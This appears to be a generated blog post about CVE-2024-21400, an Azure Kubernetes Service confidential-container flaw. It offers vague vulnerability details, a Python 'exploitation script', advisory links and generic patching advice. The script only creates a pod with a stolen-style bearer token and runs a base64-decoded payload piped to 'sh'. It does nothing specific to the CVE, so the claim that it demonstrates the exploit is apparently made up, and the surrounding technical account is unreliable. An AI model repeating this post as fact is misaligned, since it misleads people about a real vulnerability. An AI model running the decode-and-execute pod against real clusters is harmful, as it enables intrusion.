CVE-2024-21400, a recently discovered elevation of privilege vulnerability, affects Microsoft Azure Kubernetes Service (AKS) when using confidential containers. This serious flaw can allow an attacker to escalate privileges within a container and potentially compromise the security of the entire system. In this long read post, we will delve deep into the details of this vulnerability, including the code snippet, links to original references, and a breakdown of the exploit itself.

Vulnerability Details

The vulnerability stems from a flaw in the implementation of the confidential container feature of AKS. In normal circumstances, AKS confidential containers are designed to provide additional isolation and security to the workloads running in the container, ensuring that sensitive data remains protected. However, due to the vulnerability, an attacker can execute malicious code and escalate privileges within the container, gaining unauthorized access to the system and potentially compromising the security of sensitive data.

Exploit Details

To exploit this vulnerability, an attacker would first need to gain access to the AKS cluster, typically by compromising user credentials or through another vulnerability. Once inside the cluster, the attacker can then exploit CVE-2024-21400 to elevate their privileges within the container and gain full control over the system and sensitive data.

The following code snippet demonstrates how an attacker may exploit the vulnerability to gain such elevated privileges:

1. # Exploitation script for CVE-2024-21400
2. import requests
3. import base64
4.
5. # Replace with the target AKS cluster URL and token
6. TARGET_URL = 'https://target_cluster_url.com';
7. TOKEN = 'your_token_here'
8.
9. headers = {
10.     'Authorization': f'Bearer {TOKEN}',
11.     'Content-Type': 'application/json'
12. }
13.
14. # Malicious payload encoded in base64
15. malicious_payload = 'base64_encoded_malicious_payload'
16.
17. # Craft the JSON object for the exploit
18. exploit_data = {
19.     'apiVersion': 'v1',
20.     'kind': 'Pod',
21.     'metadata': {
22.         'name': 'exploit-pod'
23.     },
24.     'spec': {
25.         'containers': [
26.             {
27.                 'name': 'exploit-container',
28.                 'image': 'target_image',
29.                 'command': ['sh', '-c', f'echo {malicious_payload} | base64 -d | sh']
30.             }
31.         ]
32.     }
33. }
34.
35. # Send the exploit request to the target AKS cluster
36. response = requests.post(TARGET_URL + '/api/v1/namespaces/default/pods', json=exploit_data, headers=headers)
37.
38. if response.status_code == 201:
39.     print('Exploit success!')
40. else:
41.     print('Exploit failed:', response.text)

Original References

The CVE-2024-21400 vulnerability was first disclosed on the official Microsoft Security and Response Center (MSRC) page. For more information about the vulnerability and updates by Microsoft, please refer to the following links:

- MSRC Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21400
- Microsoft Azure Security Center: https://azure.microsoft.com/en-us/services/security-center/

Mitigation and Patching

To mitigate against this vulnerability, Microsoft has released a patch that addresses the underlying implementation flaw in the AKS confidential container feature. AKS users are advised to update their nodes by rolling out this patch as soon as possible.

Additionally, organizations should ensure that they adhere to security best practices, such as utilizing strong authentication methods, monitoring for suspicious activity, and promptly applying security updates as they are released by vendors.

Conclusion

CVE-2024-21400 is a serious vulnerability that affects Microsoft Azure Kubernetes Service when using confidential containers. As a result, organizations leveraging AKS for their container workloads must take swift action to mitigate the risk posed by this flaw. By understanding the nature of the vulnerability, applying the necessary security patches, and maintaining strong security practices, organizations can protect their systems and data.

Timeline

Published on: 03/12/2024 17:15:49 UTC
Last modified on: 03/12/2024 17:46:17 UTC